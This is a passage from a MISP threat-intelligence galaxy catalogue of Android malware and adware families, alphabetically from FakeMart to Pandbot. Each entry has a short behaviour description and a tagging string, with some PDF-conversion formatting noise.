Table 182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

FakeMart

FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.

The tag is: misp-galaxy:android="FakeMart"

Table 183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakemini

Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.

The tag is: misp-galaxy:android="Fakemini"

Table 184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fakemrat

Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Fakemrat"

Table 185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

60
**Fakeneflic**

Fakeneflic is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Fakeneflic"`

**Table 186. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fakenotify**

Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.

The tag is: `misp-galaxy:android="Fakenotify"`

**Table 187. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fakepatch**

Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.

The tag is: `misp-galaxy:android="Fakepatch"`

**Table 188. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fakeplay**

Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.

The tag is: `misp-galaxy:android="Fakeplay"`

**Table 189. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Fakescarav**

Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.

The tag is: `misp-galaxy:android="Fakescarav"`

*Table 190. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Fakesecsuit**

Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Fakesecsuit"`

*Table 191. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Fakesucon**

Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: `misp-galaxy:android="Fakesucon"`

*Table 192. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Faketaobao**

Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Faketaobao"`

*Table 193. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**Faketaobao.B**

Faketaobao.B is a Trojan horse for Android devices that intercepts and sends incoming SMS messages to a remote attacker.

The tag is: `misp-galaxy:android="Faketaobao.B"`

*Table 194. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Faketoken**

Faketoken is a Trojan horse that opens a back door on the compromised device.

The tag is: `misp-galaxy:android="Faketoken"`

*Table 195. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fakeupdate**

Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.

The tag is: `misp-galaxy:android="Fakeupdate"`

*Table 196. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fakevoice**

Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.

The tag is: `misp-galaxy:android="Fakevoice"`

*Table 197. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Farmbaby**

Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: `misp-galaxy:android="Farmbaby"`

*Table 198. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fauxtocopy**

Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.

The tag is: `misp-galaxy:android="Fauxtocopy"`

*Table 199. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Feiwo**

Feiwo is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Feiwo"`

*Table 200. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FindAndCall**

FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.

The tag is: `misp-galaxy:android="FindAndCall"`

*Table 201. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Finfish

Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Finfish"

Table 202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fireleaker

Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fireleaker"

Table 203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fitikser

Fitikser is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Fitikser"

Table 204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Flexispy

Flexispy is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.

The tag is: misp-galaxy:android="Flexispy"

Table 205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Fokonge**

Fokonge is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android*="Fokonge"

**Table 206. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**FoncySMS**

FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.

The tag is: *misp-galaxy:android*="FoncySMS"

**Table 207. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Frogonal**

Frogonal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android*="Frogonal"

**Table 208. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ftad**

Ftad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android*="Ftad"

**Table 209. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Funtasy**

Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.

The tag is: `misp-galaxy:android="Funtasy"`

---

**GallMe**

GallMe is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="GallMe"`

---

**Gamex**

Gamex is a Trojan horse for Android devices that downloads further threats.

The tag is: `misp-galaxy:android="Gamex"`

---

**Gappusin**

Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.

The tag is: `misp-galaxy:android="Gappusin"`

---

**Gazon**

Gazon is a worm for Android devices that spreads through SMS messages.
The tag is: \textit{misp-galaxy:android}="Gazon"

\textbf{Table 214. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \hfill \\
\hline
\end{tabular}

\textbf{Geinimi}

Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: \textit{misp-galaxy:android}="Geinimi"

\textbf{Table 215. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \hfill \\
\hline
\end{tabular}

\textbf{Generisk}

Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user's Android device.

The tag is: \textit{misp-galaxy:android}="Generisk"

\textbf{Table 216. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \hfill \\
\hline
\end{tabular}

\textbf{Genheur}

Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.

The tag is: \textit{misp-galaxy:android}="Genheur"

\textbf{Table 217. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \hfill \\
\hline
\end{tabular}

\textbf{Genpush}

Genpush is an advertisement library that is bundled with certain Android applications.
GeoFake

GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.

The tag is: misp-galaxy:android="GeoFake"

Geplook

Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.

The tag is: misp-galaxy:android="Geplook"

Getadpush

Getadpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Getadpush"

Ggtracker

Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.

The tag is: misp-galaxy:android="Ggtracker"
Ghostpush

Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.

The tag is: misp-galaxy:android="Ghostpush"

Table 223. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Gmaster

Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Gmaster"

Table 224. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Godwon

Godwon is a Trojan horse for Android devices that steals information.

The tag is: misp-galaxy:android="Godwon"

Table 225. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Golddream

Golddream is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Golddream"

Table 226. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Goldeneagle

Goldeneagle is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Goldeneagle"`

Table 227. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Golocker

Golocker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Golocker"`

Table 228. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Gomal

Gomal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Gomal"`

Table 229. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Gonesixty

Gonesixty is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Gonesixty"`

Table 230. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Gonfu

Gonfu is a Trojan horse that steals information from Android devices.
Gonfu.B

Gonfu.B is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Gonfu.B"

Gonfu.C

Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.

The tag is: misp-galaxy:android="Gonfu.C"

Gonfu.D

Gonfu.D is a Trojan horse that opens a back door on Android devices.

The tag is: misp-galaxy:android="Gonfu.D"

Gooboot

Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.

The tag is: misp-galaxy:android="Gooboot"
<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Goodadpush**

Goodadpush is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Goodadpush"`

<table>
<thead>
<tr>
<th>Table 236. Table References</th>
<th></th>
</tr>
</thead>
</table>

**Greystripe**

Greystripe is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Greystripe"`

<table>
<thead>
<tr>
<th>Table 237. Table References</th>
<th></th>
</tr>
</thead>
</table>

**Gugespy**

Gugespy is a spyware program for Android devices that logs the device's activity and sends it to a predetermined email address.

The tag is: `misp-galaxy:android="Gugespy"`

<table>
<thead>
<tr>
<th>Table 238. Table References</th>
<th></th>
</tr>
</thead>
</table>

**Gugespy.B**

Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: `misp-galaxy:android="Gugespy.B"`

<table>
<thead>
<tr>
<th>Table 239. Table References</th>
<th></th>
</tr>
</thead>
</table>
Gupno

Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.

The tag is: misp-galaxy:android="Gupno"

Table 240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Habey

Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.

The tag is: misp-galaxy:android="Habey"

Table 241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Handyclient

Handyclient is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Handyclient"

Table 242. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hehe

Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.

The tag is: misp-galaxy:android="Hehe"

Table 243. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Hesperbot
Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: misp-galaxy:android="Hesperbot"

Table 244. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hippo
Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Hippo"

Table 245. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hippo.B
Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: misp-galaxy:android="Hippo.B"

Table 246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

IadPush
IadPush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="IadPush"

Table 247. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

iBanking
iBanking is a Trojan horse for Android devices that opens a back door on the compromised device
and may steal information.

The tag is: misp-galaxy:android="iBanking"

Table 248. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Iconosis**

Iconosis is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Iconosis"

Table 249. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Iconosys**

Iconosys is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Iconosys"

Table 250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Igexin**

Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins.

The tag is: misp-galaxy:android="Igexin"

Igexin is also known as:

- IcicleGum

View relationships graph

Igexin has relationships with:

- similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"
ImAdPush

ImAdPush is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="ImAdPush"`

InMobi

InMobi is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="InMobi"`

Jifake

Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: `misp-galaxy:android="Jifake"`

Jollyserv

Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: `misp-galaxy:android="Jollyserv"`
**Jsmshider**

Jsmshider is a Trojan horse that opens a back door on Android devices.

The tag is: `misp-galaxy:android="Jsmshider"`

**Ju6**

Ju6 is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Ju6"`

**Jumptap**

Jumptap is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Jumptap"`

**Jzmob**

Jzmob is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Jzmob"`
**Kabstamper**

Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.

The tag is: `misp-galaxy:android="Kabstamper"`

---

**Kidlogger**

Kidlogger is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: `misp-galaxy:android="Kidlogger"`

---

**Kielog**

Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.

The tag is: `misp-galaxy:android="Kielog"`

---

**Kituri**

Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.

The tag is: `misp-galaxy:android="Kituri"`
**Kranxpay**

Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.

The tag is: `misp-galaxy:android="Kranxpay"`

*Table 264. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Krysanec**

Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: `misp-galaxy:android="Krysanec"`

*Table 265. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Kuaidian360**

Kuaidian360 is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Kuaidian360"`

*Table 266. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Kuguo**

Kuguo is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Kuguo"`

*Table 267. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Lastacloud**

Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.
Laucassspy
Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Laucassspy"

Lifemonspy
Lifemonspy is a spyware application for Android devices that can track the phone's location, download SMS messages, and erase certain data from the device.

The tag is: misp-galaxy:android="Lifemonspy"

Lightdd
Lightdd is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Lightdd"

Loaderpush
Loaderpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Loaderpush"
Locaspy

Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.

The tag is: *misp-galaxy:android="Locaspy"*

**Table 273. Table References**

Lockdroid.E

Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.E"*

**Table 274. Table References**

Lockdroid.F

Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.F"*

**Table 275. Table References**

Lockdroid.G

Locdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.G"*

**Table 276. Table References**
Lockdroid.H

Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: `misp-galaxy:android="Lockdroid.H"`

Table 277. Table References

Lockscreen

Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.

The tag is: `misp-galaxy:android="Lockscreen"`

Table 278. Table References

LogiaAd

LogiaAd is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="LogiaAd"`

Table 279. Table References

Loicdos

Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.

The tag is: `misp-galaxy:android="Loicdos"`

Table 280. Table References
**Loozfon**

Loozfon is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Loozfon"`

**Table 281. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Lotoor**

Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.

The tag is: `misp-galaxy:android="Lotoor"`

**Table 282. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Lovespy**

Lovespy is a Trojan horse for Android devices that steals information from the device.

The tag is: `misp-galaxy:android="Lovespy"`

**Table 283. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Lovetrap**

Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: `misp-galaxy:android="Lovetrap"`

**Table 284. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Luckycat**

Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="Luckycat"*

<table>
<thead>
<tr>
<th>Table 285. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99" alt="Link" /></td>
</tr>
</tbody>
</table>

**Machinleak**

Machinleak is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Machinleak"*

<table>
<thead>
<tr>
<th>Table 286. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**Maistealer**

Maistealer is a Trojan that steals information from Android devices.

The tag is: *misp-galaxy:android="Maistealer"*

<table>
<thead>
<tr>
<th>Table 287. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99" alt="Link" /></td>
</tr>
</tbody>
</table>

**Malapp**

Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.

The tag is: *misp-galaxy:android="Malapp"*

<table>
<thead>
<tr>
<th>Table 288. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
Malebook
Malebook is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: \textit{misp-galaxy:android}="Malebook"

Table 289. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Malhome
Malhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: \textit{misp-galaxy:android}="Malhome"

Table 290. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Malminer
Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.

The tag is: \textit{misp-galaxy:android}="Malminer"

Table 291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Mania
Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: \textit{misp-galaxy:android}="Mania"

Table 292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Maxit

Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.

The tag is: misp-galaxy:android="Maxit"

Table 293. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

MdotM

MdotM is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="MdotM"

Table 294. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Medialets

Medialets is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Medialets"

Table 295. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Meshidden

Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: misp-galaxy:android="Meshidden"

Table 296. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Mesplot

Mespliot is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.

The tag is: *misp-galaxy:android=*"Mesplot"

Table 297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Mesprank

Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android=*"Mesprank"

Table 298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Meswatcherbox

Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.

The tag is: *misp-galaxy:android=*"Meswatcherbox"

Table 299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Miji

Miji is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android=*"Miji"

Table 300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Milipnot**

Milipnot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Milipnot"`

*Table 301. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MillennialMedia**

MillennialMedia is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="MillennialMedia"`

*Table 302. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mitcad**

Mitcad is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Mitcad"`

*Table 303. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MobClix**

MobClix is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="MobClix"`

*Table 304. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MobFox**

MobFox is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="MobFox"

Table 305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mobidisplay**

Mobidisplay is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Mobidisplay"

Table 306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mobigapp**

Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.

The tag is: misp-galaxy:android="Mobigapp"

Table 307. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MobileBackup**

MobileBackup is a spyware application for Android devices that monitors the affected device.

The tag is: misp-galaxy:android="MobileBackup"

Table 308. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Mobilespy**

Mobilespy is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Mobilespy"

Table 309. Table References
**Mobiletx**

Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.

The tag is: `misp-galaxy:android="Mobiletx"`

**Mobinaspy**

Mobinaspy is a spyware application for Android devices that can track the device's location.

The tag is: `misp-galaxy:android="Mobinaspy"`

**Mobus**

Mobus is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Mobus"`

**MobWin**

MobWin is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="MobWin"`
Mocore
Mocore is an advertisement library that is bundled with certain Android applications.
The tag is: `misp-galaxy:android="Mocore"`

Table 314. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Moghava
Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.
The tag is: `misp-galaxy:android="Moghava"`

Table 315. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Momark
Momark is an advertisement library that is bundled with certain Android applications.
The tag is: `misp-galaxy:android="Momark"`

Table 316. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Monitorello
Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.
The tag is: `misp-galaxy:android="Monitorello"`

Table 317. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Moolah
Moolah is an advertisement library that is bundled with certain Android applications.
MoPub

MoPub is an advertisement library that is bundled with certain Android applications.

Morepaks

Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.

Nandrobox

Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.

Netisend

Netisend is a Trojan horse that steals information from Android devices.
Nickispy

Nickispy is a Trojan horse that steals information from Android devices.

The tag is: \textit{misp-galaxy:android}="Nickispy"

\textit{Table 323. Table References}

Links


Notcompatible

Notcompatible is a Trojan horse for Android devices that acts as a proxy.

The tag is: \textit{misp-galaxy:android}="Notcompatible"

\textit{Table 324. Table References}

Links


Nuhaz

Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.

The tag is: \textit{misp-galaxy:android}="Nuhaz"

\textit{Table 325. Table References}

Links


Nyearleaker

Nyearleaker is a Trojan horse program for Android devices that steals information.

The tag is: \textit{misp-galaxy:android}="Nyearleaker"

\textit{Table 326. Table References}

Links

Obad

Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.

The tag is: \textit{misp-galaxy:android} = "Obad"

Table 327. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Oneclickfraud

Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.

The tag is: \textit{misp-galaxy:android} = "Oneclickfraud"

Table 328. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Opfake

Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.

The tag is: \textit{misp-galaxy:android} = "Opfake"

Table 329. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Opfake.B

Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.

The tag is: \textit{misp-galaxy:android} = "Opfake.B"

Table 330. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Ozotshields

Ozotshields is a Trojan horse that steals information from Android devices.

The tag is: misplaced-android=“Ozotshields”

Table 331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pafloat

Pafloat is an advertisement library that is bundled with certain Android applications.

The tag is: misplaced-android=“Pafloat”

Table 332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

PandaAds

PandaAds is an advertisement library that is bundled with certain Android applications.

The tag is: misplaced-android=“PandaAds”

Table 333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pandbot

